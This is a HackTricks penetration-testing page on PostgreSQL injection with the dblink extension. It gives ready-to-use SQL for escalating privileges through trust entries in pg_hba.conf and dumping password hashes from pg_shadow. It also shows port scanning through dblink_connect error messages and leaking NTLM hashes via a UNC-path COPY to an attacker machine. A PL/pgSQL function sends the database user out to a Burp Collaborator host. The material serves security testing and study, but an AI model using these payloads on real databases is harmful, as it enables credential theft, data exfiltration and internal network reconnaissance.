hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Since PostgreSQL 9.1, installation of additional modules is simple. Registered extensions like dblink can be installed with CREATE EXTENSION:

CREATE EXTENSION dblink;

Once you have dblink loaded you could be able to perform some interesting tricks:

Privilege Escalation

The file pg_hba.conf could be bad configured **allowing connections **from **localhost as any user **without needing to know the password. This file could be typically found in /etc/postgresql/12/main/pg_hba.conf and a bad configuration looks like:

local    all    all    trust

Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it.
Note also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user.

This case is **useful if **you **already **have a **shell **inside the victim as it will allow you to connect to postgresql database.

Another possible misconfiguration consist on something like this:

host    all     all     127.0.0.1/32    trust

As it will allow everybody from the localhost to connect to the database as any user.
In this case and if the dblink function is working, you could **escalate privileges **by connecting to the database through an already established connection and access data shouldn't be able to access:

SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'SELECT datname FROM pg_database')
                      RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'select usename, passwd from pg_shadow')
                      RETURNS (result1 TEXT, result2 TEXT);

Find more information about this attack in this paper.

Port Scanning

Abusing dblink_connect you could also** search open ports**. If that **function doesn't work you should try to use dblink_connect_u() **as the documentation says that dblink_connect_u() is identical to dblink_connect(), except that it will allow non-superusers to connect using any authentication method.

SELECT * FROM dblink_connect('host=216.58.212.238
                                  port=443
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
	Is the server running on host "127.0.0.1" and accepting
	TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Note that **before **being able to use dblink_connect or dblink_connect_u you may need to execute:

CREATE extension dblink;

UNC path - NTLM hash disclosure

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';

-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ 
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN 
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();